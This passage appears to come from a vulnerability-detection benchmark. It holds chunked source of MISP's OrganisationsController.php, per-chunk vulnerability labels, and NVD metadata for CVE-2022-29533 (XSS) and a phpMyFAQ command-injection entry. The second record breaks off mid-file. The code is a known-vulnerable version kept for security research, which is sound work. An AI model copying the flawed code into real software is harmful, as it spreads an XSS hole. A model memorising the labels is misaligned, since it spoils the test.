"CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-02-12T14:15:11.467", "references": [{"source": "security@huntr.dev", "tags": ["Patch"], "url": "https://github.com/thorsten/phpmyfaq/commit/40515c74815ace394ab23c6c19cbb33fd49059cb"}, {"source": "security@huntr.dev", "tags": ["Permissions Required"], "url": "https://huntr.dev/bounties/d9375178-2f23-4f5d-88bd-bba3d6ba7cc5"}], "sourceIdentifier": "security@huntr.dev", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-77"}], "source": "security@huntr.dev", "type": "Primary"}]}, "github_commit_url": "https://github.com/thorsten/phpmyfaq/commit/40515c74815ace394ab23c6c19cbb33fd49059cb"}, "type": "CWE-77"}
132
Determine whether the {function_name} code is vulnerable or not.
[ "<?php\nApp::uses('AppController', 'Controller');", "/**\n * @property Organisation $Organisation\n */\nclass OrganisationsController extends AppController\n{\n public $components = array('Session', 'RequestHandler');", " public function beforeFilter()\n {\n parent::beforeFilter();\n if (!empty($this->request->params['admin']) && !$this->_isSiteAdmin()) {\n $this->redirect('/');\n }\n }", " public $paginate = array(\n 'limit' => 60,\n 'maxLimit' => 9999, // LATER we will bump here on a problem once we have more than 9999 events <- no we won't, this is the max a user van view/page.\n 'order' => 'LOWER(Organisation.name)'\n //'order' => array(\n // 'Organisation.name' => 'ASC'\n //),\n );", " public function index()\n {\n if (!$this->Auth->user('Role')['perm_sharing_group'] && Configure::read('Security.hide_organisation_index_from_users')) {\n throw new MethodNotAllowedException(__('This feature is disabled on this instance for normal users.'));\n }\n $conditions = array();\n // We can either index all of the organisations existing on this instance (default)\n // or we can pass the 'external' keyword in the URL to look at the added external organisations\n $scope = isset($this->passedArgs['scope']) ? $this->passedArgs['scope'] : 'local';\n if ($scope !== 'all') {\n $conditions['AND'][] = array('Organisation.local' => $scope === 'external' ? 0 : 1);\n }\n $passedArgs = $this->passedArgs;", " if (isset($this->request->data['searchall'])) {\n $searchall = $this->request->data['searchall'];\n } elseif (isset($this->passedArgs['all'])) {\n $searchall = $this->passedArgs['all'];\n } elseif (isset($this->passedArgs['searchall'])) {\n $searchall = $this->passedArgs['searchall'];\n } elseif (isset($this->passedArgs['quickFilter'])) {\n $searchall = $this->passedArgs['quickFilter'];\n }", " if (isset($searchall) && !empty($searchall)) {\n $passedArgs['searchall'] = $searchall;\n $allSearchFields = array('name', 'description', 'nationality', 'sector', 'type', 'contacts', 'restricted_to_domain', 'uuid');\n $searchTerm = '%' . strtolower($passedArgs['searchall']) . '%';\n foreach ($allSearchFields as $field) {\n $conditions['OR'][] = array('LOWER(Organisation.' . $field . ') LIKE' => $searchTerm);\n }\n }", " $this->paginate['conditions'] = $conditions;", " $this->Organisation->addCountField('user_count', $this->User, ['User.org_id = Organisation.id']);\n if ($this->_isRest()) {\n unset($this->paginate['limit']);\n $orgs = $this->Organisation->find('all', $this->paginate);\n } else {\n $viewAll = isset($this->params['named']['viewall']) && $this->params['named']['viewall'];\n if ($viewAll) {\n unset($this->paginate['limit']);\n }\n $this->set('viewall', $viewAll);\n $orgs = $this->paginate();\n }", " $this->loadModel('User');\n $org_creator_ids = array();\n foreach ($orgs as $k => $org) {\n if ($this->_isSiteAdmin()) {\n if (!isset($org_creator_ids[$org['Organisation']['created_by']])) {\n $email = $this->User->find('first', array(\n 'recursive' => -1,\n 'fields' => array('id', 'email'),\n 'conditions' => array('id' => $org['Organisation']['created_by']))\n );\n if (!empty($email)) {\n $org_creator_ids[$org['Organisation']['created_by']] = $email['User']['email'];\n } else {\n $org_creator_ids[$org['Organisation']['created_by']] = __('Unknown');\n }\n }\n $orgs[$k]['Organisation']['created_by_email'] = $org_creator_ids[$org['Organisation']['created_by']];\n } else {\n unset($orgs[$k]['Organisation']['created_by']);\n }\n }\n if ($this->_isRest()) {\n return $this->RestResponse->viewData($orgs, $this->response->type());\n }\n foreach ($orgs as &$org) {\n $org['Organisation']['country_code'] = $this->Organisation->getCountryCode($org['Organisation']['nationality']);\n }", " $this->set('named', $this->params['named']);\n $this->set('scope', $scope);\n $this->set('orgs', $orgs);\n $this->set('passedArgs', json_encode($passedArgs));\n }", " public function admin_add()\n {\n if ($this->request->is('post')) {\n if ($this->_isRest()) {\n if (isset($this->request->data['request'])) {\n $this->request->data = $this->request->data['request'];\n }\n if (!isset($this->request->data['Organisation'])) {\n $this->request->data['Organisation'] = $this->request->data;\n }\n if (isset($this->request->data['Organisation']['id'])) {\n unset($this->request->data['Organisation']['id']);\n }\n }\n $this->Organisation->create();\n $this->request->data['Organisation']['created_by'] = $this->Auth->user('id');\n if ($this->_isRest()) {\n if (!isset($this->request->data['Organisation']['local'])) {\n $this->request->data['Organisation']['local'] = true;\n }\n }\n if ($this->Organisation->save($this->request->data)) {\n $this->__uploadLogo($this->Organisation->id);\n if ($this->_isRest()) {\n $org = $this->Organisation->find('first', array(\n 'conditions' => array('Organisation.id' => $this->Organisation->id),\n 'recursive' => -1\n ));\n return $this->RestResponse->viewData($org, $this->response->type());\n } else {\n $this->Flash->success(__('The organisation has been successfully added.'));\n $this->redirect(array('admin' => false, 'action' => 'view', $this->Organisation->id));\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->saveFailResponse('Organisations', 'admin_add', false, $this->Organisation->validationErrors, $this->response->type());\n } else {\n $this->Flash->error(__('The organisation could not be added.'));\n }\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->describe('Organisations', 'admin_add', false, $this->response->type());\n } else {\n if (!empty($this->params['named']['name'])) {\n $this->request->data['Organisation']['name'] = $this->params['named']['name'];\n }\n if (!empty($this->params['named']['uuid'])) {\n $this->request->data['Organisation']['uuid'] = $this->params['named']['uuid'];\n }\n }\n }\n $countries = array_merge(['' => __('Not specified')], $this->_arrayToValuesIndexArray($this->Organisation->getCountries()));\n $this->set('countries', $countries);\n $this->set('action', 'add');\n }", " public function admin_edit($id)\n {\n if (Validation::uuid($id)) {\n $temp = $this->Organisation->find('first', array('recursive' => -1, 'fields' => array('Organisation.id'), 'conditions' => array('Organisation.uuid' => $id)));\n if (empty($temp)) {\n throw new NotFoundException(__('Invalid organisation.'));\n }\n $id = $temp['Organisation']['id'];\n }\n $this->Organisation->id = $id;\n if (!$this->Organisation->exists()) {\n throw new NotFoundException(__('Invalid organisation'));\n }\n if ($this->request->is('post') || $this->request->is('put')) {\n if ($this->_isRest()) {\n if (isset($this->request->data['request'])) {\n $this->request->data = $this->request->data['request'];\n }\n if (!isset($this->request->data['Organisation'])) {\n $this->request->data['Organisation'] = $this->request->data;\n }\n $existingOrg = $this->Organisation->find('first', array('conditions' => array('Organisation.id' => $id)));\n $changeFields = array('name', 'type', 'nationality', 'sector', 'contacts', 'description', 'local', 'uuid', 'restricted_to_domain');\n $temp = array('Organisation' => array());\n foreach ($changeFields as $field) {\n if (isset($this->request->data['Organisation'][$field])) {\n $temp['Organisation'][$field] = $this->request->data['Organisation'][$field];\n } else {\n $temp['Organisation'][$field] = $existingOrg['Organisation'][$field];\n }\n }\n $this->request->data = $temp;\n }\n $this->request->data['Organisation']['id'] = $id;\n if ($this->Organisation->save($this->request->data)) {\n $this->__uploadLogo($this->Organisation->id);\n if ($this->_isRest()) {\n $org = $this->Organisation->find('first', array(\n 'conditions' => array('Organisation.id' => $this->Organisation->id),\n 'recursive' => -1\n ));\n return $this->RestResponse->viewData($org, $this->response->type());\n } else {\n $this->Flash->success(__('Organisation updated.'));\n $this->redirect(array('admin' => false, 'action' => 'view', $this->Organisation->id));\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->saveFailResponse('Organisations', 'admin_edit', false, $this->Organisation->validationErrors, $this->response->type());\n } else {\n if (isset($this->Organisation->validationErrors['uuid'])) {\n $duplicate_org = $this->Organisation->find('first', array(\n 'recursive' => -1,\n 'conditions' => array('Organisation.uuid' => trim($this->request->data['Organisation']['uuid'])),\n 'fields' => array('Organisation.id')\n ));\n $this->set('duplicate_org', $duplicate_org['Organisation']['id']);\n }\n $this->Flash->error(__('The organisation could not be updated.'));\n }\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->describe('Organisations', 'admin_edit', false, $this->response->type());\n }\n $this->Organisation->read(null, $id);\n $this->request->data = $this->Organisation->data;\n }", " $countries = array_merge(['' => __('Not specified')], $this->_arrayToValuesIndexArray($this->Organisation->getCountries()));\n if (!empty($this->Organisation->data['Organisation']['nationality'])) {\n $currentCountry = $this->Organisation->data['Organisation']['nationality'];\n if (!isset($countries[$currentCountry])) {\n // Append old country name to list to keep backward compatibility\n $countries[$currentCountry] = $currentCountry;\n }\n }", " $this->set('countries', $countries);\n $this->set('orgId', $id);\n if (is_array($this->request->data['Organisation']['restricted_to_domain'])) {\n $this->request->data['Organisation']['restricted_to_domain'] = implode(\"\\n\", $this->request->data['Organisation']['restricted_to_domain']);\n }\n $this->set('id', $id);\n $this->set('action', 'edit');\n $this->render('admin_add');\n }", " public function admin_delete($id)\n {\n if (!$this->request->is('post') && !$this->request->is('delete')) {\n throw new MethodNotAllowedException(__('Action not allowed, post or delete request expected.'));\n }\n if (Validation::uuid($id)) {\n $temp = $this->Organisation->find('first', array('recursive' => -1, 'fields' => array('Organisation.id'), 'conditions' => array('Organisation.uuid' => $id)));\n if (empty($temp)) {\n throw new NotFoundException(__('Invalid organisation'));\n }\n $id = $temp['Organisation']['id'];\n }\n $this->Organisation->id = $id;\n if (!$this->Organisation->exists()) {\n throw new NotFoundException(__('Invalid organisation'));\n }", " $org = $this->Organisation->find('first', array(\n 'conditions' => array('id' => $id),\n 'recursive' => -1,\n 'fields' => array('local')\n ));\n if ($org['Organisation']['local']) {\n $url = '/organisations/index';\n } else {\n $url = '/organisations/index/remote';\n }\n if ($this->Organisation->delete()) {\n if ($this->_isRest()) {\n return $this->RestResponse->saveSuccessResponse('Organisations', 'admin_delete', $id, $this->response->type());\n } else {\n $this->Flash->success(__('Organisation deleted'));\n $this->redirect($url);\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->saveFailResponse('Organisations', 'admin_delete', $id, $this->Organisation->validationErrors, $this->response->type());\n } else {\n $this->Flash->error(__('Organisation could not be deleted. Generally organisations should never be deleted, instead consider moving them to the known remote organisations list. Alternatively, if you are certain that you would like to remove an organisation and are aware of the impact, make sure that there are no users or events still tied to this organisation before deleting it.'));\n $this->redirect($url);\n }\n }\n }", " public function admin_generateuuid()\n {\n $this->set('uuid', CakeText::uuid());\n $this->set('_serialize', array('uuid'));\n }", " public function view($id)\n {\n if (is_numeric($id)) {\n $conditions = ['Organisation.id' => $id];\n } else if (Validation::uuid($id)) {\n $conditions = ['Organisation.uuid' => $id];\n } else {\n $conditions = ['Organisation.name' => urldecode($id)];\n }", " if ($this->request->is('head')) { // Just check if org exists and user can access it\n $org = $this->Organisation->find('first', array(\n 'conditions' => $conditions,\n 'recursive' => -1,\n 'fields' => ['id'],\n ));\n $exists = $org && $this->Organisation->canSee($this->Auth->user(), $org['Organisation']['id']);\n return new CakeResponse(['status' => $exists ? 200 : 404]);\n }", " $fields = ['id', 'name', 'date_created', 'date_modified', 'type', 'nationality', 'sector', 'contacts', 'description', 'local', 'uuid', 'restricted_to_domain', 'created_by'];\n if ($this->_isRest()) {\n $this->Organisation->addCountField('user_count', $this->User, ['User.org_id = Organisation.id']);\n $fields[] = 'user_count';\n }", " $org = $this->Organisation->find('first', array(\n 'conditions' => $conditions,\n 'recursive' => -1,\n 'fields' => $fields,\n ));\n if (!$org || !$this->Organisation->canSee($this->Auth->user(), $org['Organisation']['id'])) {\n throw new NotFoundException(__('Invalid organisation'));\n }", " $fullAccess = $this->_isSiteAdmin() || ($this->_isAdmin() && $this->Auth->user('Organisation')['id'] == $org['Organisation']['id']);\n if ($fullAccess) {\n $creator = $this->Organisation->User->find('first', array(\n 'conditions' => array('User.id' => $org['Organisation']['created_by']),\n 'fields' => array('email'),\n 'recursive' => -1\n ));\n if (!empty($creator)) {\n $org['Organisation']['created_by_email'] = $creator['User']['email'];\n }\n } else {\n unset($org['Organisation']['created_by']);\n }", " if ($this->_isRest()) {\n return $this->RestResponse->viewData($org, $this->response->type());\n }", " $org['Organisation']['country_code'] = $this->Organisation->getCountryCode($org['Organisation']['nationality']);\n $this->set('local', $org['Organisation']['local']);\n $this->set('fullAccess', $fullAccess);\n $this->set('org', $org);\n $this->set('id', $org['Organisation']['id']);\n $this->set('title_for_layout', __('Organisation %s', $org['Organisation']['name']));\n }", " public function fetchOrgsForSG($idList = '{}', $type)\n {\n if ($type === 'local') {\n $local = 1;\n } else {\n $local = 0;\n }\n $idList = json_decode($idList, true);\n $id_exclusion_list = array_merge($idList, array($this->Auth->user('Organisation')['id']));\n $orgs = $this->Organisation->find('list', array(\n 'conditions' => array(\n 'local' => $local,\n 'id !=' => $id_exclusion_list,\n ),\n 'recursive' => -1,\n 'fields' => array('id', 'name'),\n 'order' => array('lower(name) ASC')\n ));\n $this->set('local', $local);\n $this->layout = false;\n $this->autoRender = false;\n $this->set('orgs', $orgs);\n $this->render('ajax/fetch_orgs_for_sg');\n }", " public function fetchSGOrgRow($id, $removable = false, $extend = false)\n {\n $this->layout = false;\n $this->autoRender = false;", " $this->set('id', $id);", " $this->set('removable', $removable);\n $this->set('extend', $extend);\n $this->render('ajax/sg_org_row_empty');\n }", " /**\n * @deprecated Probably not used anywhere.\n */\n public function getUUIDs()\n {\n if (Configure::read('Security.hide_organisation_index_from_users')) {\n throw new MethodNotAllowedException(__('This action is not enabled on this instance.'));\n }\n $temp = $this->Organisation->find('all', array(\n 'recursive' => -1,\n 'conditions' => array('local' => 1),\n 'fields' => array('Organisation.uuid')\n ));\n $orgs = array();\n foreach ($temp as $t) {\n $orgs[] = $t['Organisation']['uuid'];\n }\n return new CakeResponse(array('body'=> json_encode($orgs), 'type' => 'json'));\n }", " public function admin_merge($id, $target_id = false)\n {\n if (!$this->_isSiteAdmin()) {\n throw new MethodNotAllowedException(__('You are not authorised to do that.'));\n }\n if ($this->request->is('Post')) {\n $result = $this->Organisation->orgMerge($id, $this->request->data, $this->Auth->user());\n if ($result) {\n $this->Flash->success(__('The organisation has been successfully merged.'));\n $this->redirect(array('admin' => false, 'action' => 'view', $result));\n } else {\n $this->Flash->error(__('There was an error while merging the organisations. To find out more about what went wrong, refer to the audit logs. If you would like to revert the changes, you can find a .sql file'));\n }\n $this->redirect(array('admin' => false, 'action' => 'index'));\n } else {\n $currentOrg = $this->Organisation->find('first', array('fields' => array('id', 'name', 'uuid', 'local'), 'recursive' => -1, 'conditions' => array('Organisation.id' => $id)));\n $orgs['local'] = $this->Organisation->find('all', array(\n 'fields' => array('id', 'name', 'uuid'),\n 'conditions' => array('Organisation.id !=' => $id, 'Organisation.local' => 1),\n 'order' => 'lower(Organisation.name) ASC'\n ));\n $orgs['external'] = $this->Organisation->find('all', array(\n 'fields' => array('id', 'name', 'uuid'),\n 'conditions' => array('Organisation.id !=' => $id, 'Organisation.local' => 0),\n 'order' => 'lower(Organisation.name) ASC'\n ));\n foreach (array('local', 'external') as $type) {\n $orgOptions[$type] = Hash::combine($orgs[$type], '{n}.Organisation.id', '{n}.Organisation.name');\n $orgs[$type] = Hash::combine($orgs[$type], '{n}.Organisation.id', '{n}');\n }\n if (!empty($target_id)) {\n $target = array();\n foreach (array('local', 'external') as $type) {\n foreach ($orgOptions[$type] as $k => $v) {\n if ($k == $target_id) {\n $target = array('id' => $k, 'type' => $type);\n }\n }\n }\n if (!empty($target)) {\n $this->set('target', $target);\n }\n }\n $this->set('orgs', json_encode($orgs));\n $this->set('orgOptions', $orgOptions);\n $this->set('currentOrg', $currentOrg);\n $this->layout = false;\n $this->autoRender = false;\n $this->render('ajax/merge');\n }\n }", " /**\n * @return bool\n */\n private function __uploadLogo($orgId)\n {\n if (!isset($this->request->data['Organisation']['logo']['size'])) {\n return false;\n }", " $logo = $this->request->data['Organisation']['logo'];\n if ($logo['size'] > 0 && $logo['error'] == 0) {\n $extension = pathinfo($logo['name'], PATHINFO_EXTENSION);\n $filename = $orgId . '.' . ($extension === 'svg' ? 'svg' : 'png');", " if ($extension === 'svg' && !Configure::read('Security.enable_svg_logos')) {\n $this->Flash->error(__('Invalid file extension, SVG images are not allowed.'));\n return false;\n }", " if (!empty($logo['tmp_name']) && is_uploaded_file($logo['tmp_name'])) {\n return move_uploaded_file($logo['tmp_name'], APP . 'webroot/img/orgs/' . $filename);\n }\n }", " return false;\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [396], "buggy_code_start_loc": [395], "filenames": ["app/Controller/OrganisationsController.php"], "fixing_code_end_loc": [396], "fixing_code_start_loc": [395], "message": "An issue was discovered in MISP before 2.4.158. There is XSS in app/Controller/OrganisationsController.php in a situation with a \"weird single checkbox page.\"", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:misp:misp:*:*:*:*:*:*:*:*", "matchCriteriaId": "C6216C19-9CB8-451D-AC18-0D849429EE09", "versionEndExcluding": "2.4.158", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "An issue was discovered in MISP before 2.4.158. There is XSS in app/Controller/OrganisationsController.php in a situation with a \"weird single checkbox page.\""}, {"lang": "es", "value": "Se ha detectado un problema en MISP versiones anteriores a 2.4.158. Se presenta una vulnerabilidad de tipo XSS en el componente app/Controller/OrganisationsController.php en una situaci\u00f3n con un \"weird single checkbox page.\""}], "evaluatorComment": null, "id": "CVE-2022-29533", "lastModified": "2022-04-27T03:56:31.130", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-04-20T23:15:08.643", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/MISP/MISP/commit/ce6bc88e330f5ef50666b149d86c0d94f545f24e"}, {"source": "cve@mitre.org", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/MISP/MISP/compare/v2.4.157...v2.4.158"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/MISP/MISP/commit/ce6bc88e330f5ef50666b149d86c0d94f545f24e"}, "type": "CWE-79"}
133
Determine whether the {function_name} code is vulnerable or not.
[ "<?php\nApp::uses('AppController', 'Controller');", "/**\n * @property Organisation $Organisation\n */\nclass OrganisationsController extends AppController\n{\n public $components = array('Session', 'RequestHandler');", " public function beforeFilter()\n {\n parent::beforeFilter();\n if (!empty($this->request->params['admin']) && !$this->_isSiteAdmin()) {\n $this->redirect('/');\n }\n }", " public $paginate = array(\n 'limit' => 60,\n 'maxLimit' => 9999, // LATER we will bump here on a problem once we have more than 9999 events <- no we won't, this is the max a user van view/page.\n 'order' => 'LOWER(Organisation.name)'\n //'order' => array(\n // 'Organisation.name' => 'ASC'\n //),\n );", " public function index()\n {\n if (!$this->Auth->user('Role')['perm_sharing_group'] && Configure::read('Security.hide_organisation_index_from_users')) {\n throw new MethodNotAllowedException(__('This feature is disabled on this instance for normal users.'));\n }\n $conditions = array();\n // We can either index all of the organisations existing on this instance (default)\n // or we can pass the 'external' keyword in the URL to look at the added external organisations\n $scope = isset($this->passedArgs['scope']) ? $this->passedArgs['scope'] : 'local';\n if ($scope !== 'all') {\n $conditions['AND'][] = array('Organisation.local' => $scope === 'external' ? 0 : 1);\n }\n $passedArgs = $this->passedArgs;", " if (isset($this->request->data['searchall'])) {\n $searchall = $this->request->data['searchall'];\n } elseif (isset($this->passedArgs['all'])) {\n $searchall = $this->passedArgs['all'];\n } elseif (isset($this->passedArgs['searchall'])) {\n $searchall = $this->passedArgs['searchall'];\n } elseif (isset($this->passedArgs['quickFilter'])) {\n $searchall = $this->passedArgs['quickFilter'];\n }", " if (isset($searchall) && !empty($searchall)) {\n $passedArgs['searchall'] = $searchall;\n $allSearchFields = array('name', 'description', 'nationality', 'sector', 'type', 'contacts', 'restricted_to_domain', 'uuid');\n $searchTerm = '%' . strtolower($passedArgs['searchall']) . '%';\n foreach ($allSearchFields as $field) {\n $conditions['OR'][] = array('LOWER(Organisation.' . $field . ') LIKE' => $searchTerm);\n }\n }", " $this->paginate['conditions'] = $conditions;", " $this->Organisation->addCountField('user_count', $this->User, ['User.org_id = Organisation.id']);\n if ($this->_isRest()) {\n unset($this->paginate['limit']);\n $orgs = $this->Organisation->find('all', $this->paginate);\n } else {\n $viewAll = isset($this->params['named']['viewall']) && $this->params['named']['viewall'];\n if ($viewAll) {\n unset($this->paginate['limit']);\n }\n $this->set('viewall', $viewAll);\n $orgs = $this->paginate();\n }", " $this->loadModel('User');\n $org_creator_ids = array();\n foreach ($orgs as $k => $org) {\n if ($this->_isSiteAdmin()) {\n if (!isset($org_creator_ids[$org['Organisation']['created_by']])) {\n $email = $this->User->find('first', array(\n 'recursive' => -1,\n 'fields' => array('id', 'email'),\n 'conditions' => array('id' => $org['Organisation']['created_by']))\n );\n if (!empty($email)) {\n $org_creator_ids[$org['Organisation']['created_by']] = $email['User']['email'];\n } else {\n $org_creator_ids[$org['Organisation']['created_by']] = __('Unknown');\n }\n }\n $orgs[$k]['Organisation']['created_by_email'] = $org_creator_ids[$org['Organisation']['created_by']];\n } else {\n unset($orgs[$k]['Organisation']['created_by']);\n }\n }\n if ($this->_isRest()) {\n return $this->RestResponse->viewData($orgs, $this->response->type());\n }\n foreach ($orgs as &$org) {\n $org['Organisation']['country_code'] = $this->Organisation->getCountryCode($org['Organisation']['nationality']);\n }", " $this->set('named', $this->params['named']);\n $this->set('scope', $scope);\n $this->set('orgs', $orgs);\n $this->set('passedArgs', json_encode($passedArgs));\n }", " public function admin_add()\n {\n if ($this->request->is('post')) {\n if ($this->_isRest()) {\n if (isset($this->request->data['request'])) {\n $this->request->data = $this->request->data['request'];\n }\n if (!isset($this->request->data['Organisation'])) {\n $this->request->data['Organisation'] = $this->request->data;\n }\n if (isset($this->request->data['Organisation']['id'])) {\n unset($this->request->data['Organisation']['id']);\n }\n }\n $this->Organisation->create();\n $this->request->data['Organisation']['created_by'] = $this->Auth->user('id');\n if ($this->_isRest()) {\n if (!isset($this->request->data['Organisation']['local'])) {\n $this->request->data['Organisation']['local'] = true;\n }\n }\n if ($this->Organisation->save($this->request->data)) {\n $this->__uploadLogo($this->Organisation->id);\n if ($this->_isRest()) {\n $org = $this->Organisation->find('first', array(\n 'conditions' => array('Organisation.id' => $this->Organisation->id),\n 'recursive' => -1\n ));\n return $this->RestResponse->viewData($org, $this->response->type());\n } else {\n $this->Flash->success(__('The organisation has been successfully added.'));\n $this->redirect(array('admin' => false, 'action' => 'view', $this->Organisation->id));\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->saveFailResponse('Organisations', 'admin_add', false, $this->Organisation->validationErrors, $this->response->type());\n } else {\n $this->Flash->error(__('The organisation could not be added.'));\n }\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->describe('Organisations', 'admin_add', false, $this->response->type());\n } else {\n if (!empty($this->params['named']['name'])) {\n $this->request->data['Organisation']['name'] = $this->params['named']['name'];\n }\n if (!empty($this->params['named']['uuid'])) {\n $this->request->data['Organisation']['uuid'] = $this->params['named']['uuid'];\n }\n }\n }\n $countries = array_merge(['' => __('Not specified')], $this->_arrayToValuesIndexArray($this->Organisation->getCountries()));\n $this->set('countries', $countries);\n $this->set('action', 'add');\n }", " public function admin_edit($id)\n {\n if (Validation::uuid($id)) {\n $temp = $this->Organisation->find('first', array('recursive' => -1, 'fields' => array('Organisation.id'), 'conditions' => array('Organisation.uuid' => $id)));\n if (empty($temp)) {\n throw new NotFoundException(__('Invalid organisation.'));\n }\n $id = $temp['Organisation']['id'];\n }\n $this->Organisation->id = $id;\n if (!$this->Organisation->exists()) {\n throw new NotFoundException(__('Invalid organisation'));\n }\n if ($this->request->is('post') || $this->request->is('put')) {\n if ($this->_isRest()) {\n if (isset($this->request->data['request'])) {\n $this->request->data = $this->request->data['request'];\n }\n if (!isset($this->request->data['Organisation'])) {\n $this->request->data['Organisation'] = $this->request->data;\n }\n $existingOrg = $this->Organisation->find('first', array('conditions' => array('Organisation.id' => $id)));\n $changeFields = array('name', 'type', 'nationality', 'sector', 'contacts', 'description', 'local', 'uuid', 'restricted_to_domain');\n $temp = array('Organisation' => array());\n foreach ($changeFields as $field) {\n if (isset($this->request->data['Organisation'][$field])) {\n $temp['Organisation'][$field] = $this->request->data['Organisation'][$field];\n } else {\n $temp['Organisation'][$field] = $existingOrg['Organisation'][$field];\n }\n }\n $this->request->data = $temp;\n }\n $this->request->data['Organisation']['id'] = $id;\n if ($this->Organisation->save($this->request->data)) {\n $this->__uploadLogo($this->Organisation->id);\n if ($this->_isRest()) {\n $org = $this->Organisation->find('first', array(\n 'conditions' => array('Organisation.id' => $this->Organisation->id),\n 'recursive' => -1\n ));\n return $this->RestResponse->viewData($org, $this->response->type());\n } else {\n $this->Flash->success(__('Organisation updated.'));\n $this->redirect(array('admin' => false, 'action' => 'view', $this->Organisation->id));\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->saveFailResponse('Organisations', 'admin_edit', false, $this->Organisation->validationErrors, $this->response->type());\n } else {\n if (isset($this->Organisation->validationErrors['uuid'])) {\n $duplicate_org = $this->Organisation->find('first', array(\n 'recursive' => -1,\n 'conditions' => array('Organisation.uuid' => trim($this->request->data['Organisation']['uuid'])),\n 'fields' => array('Organisation.id')\n ));\n $this->set('duplicate_org', $duplicate_org['Organisation']['id']);\n }\n $this->Flash->error(__('The organisation could not be updated.'));\n }\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->describe('Organisations', 'admin_edit', false, $this->response->type());\n }\n $this->Organisation->read(null, $id);\n $this->request->data = $this->Organisation->data;\n }", " $countries = array_merge(['' => __('Not specified')], $this->_arrayToValuesIndexArray($this->Organisation->getCountries()));\n if (!empty($this->Organisation->data['Organisation']['nationality'])) {\n $currentCountry = $this->Organisation->data['Organisation']['nationality'];\n if (!isset($countries[$currentCountry])) {\n // Append old country name to list to keep backward compatibility\n $countries[$currentCountry] = $currentCountry;\n }\n }", " $this->set('countries', $countries);\n $this->set('orgId', $id);\n if (is_array($this->request->data['Organisation']['restricted_to_domain'])) {\n $this->request->data['Organisation']['restricted_to_domain'] = implode(\"\\n\", $this->request->data['Organisation']['restricted_to_domain']);\n }\n $this->set('id', $id);\n $this->set('action', 'edit');\n $this->render('admin_add');\n }", " public function admin_delete($id)\n {\n if (!$this->request->is('post') && !$this->request->is('delete')) {\n throw new MethodNotAllowedException(__('Action not allowed, post or delete request expected.'));\n }\n if (Validation::uuid($id)) {\n $temp = $this->Organisation->find('first', array('recursive' => -1, 'fields' => array('Organisation.id'), 'conditions' => array('Organisation.uuid' => $id)));\n if (empty($temp)) {\n throw new NotFoundException(__('Invalid organisation'));\n }\n $id = $temp['Organisation']['id'];\n }\n $this->Organisation->id = $id;\n if (!$this->Organisation->exists()) {\n throw new NotFoundException(__('Invalid organisation'));\n }", " $org = $this->Organisation->find('first', array(\n 'conditions' => array('id' => $id),\n 'recursive' => -1,\n 'fields' => array('local')\n ));\n if ($org['Organisation']['local']) {\n $url = '/organisations/index';\n } else {\n $url = '/organisations/index/remote';\n }\n if ($this->Organisation->delete()) {\n if ($this->_isRest()) {\n return $this->RestResponse->saveSuccessResponse('Organisations', 'admin_delete', $id, $this->response->type());\n } else {\n $this->Flash->success(__('Organisation deleted'));\n $this->redirect($url);\n }\n } else {\n if ($this->_isRest()) {\n return $this->RestResponse->saveFailResponse('Organisations', 'admin_delete', $id, $this->Organisation->validationErrors, $this->response->type());\n } else {\n $this->Flash->error(__('Organisation could not be deleted. Generally organisations should never be deleted, instead consider moving them to the known remote organisations list. Alternatively, if you are certain that you would like to remove an organisation and are aware of the impact, make sure that there are no users or events still tied to this organisation before deleting it.'));\n 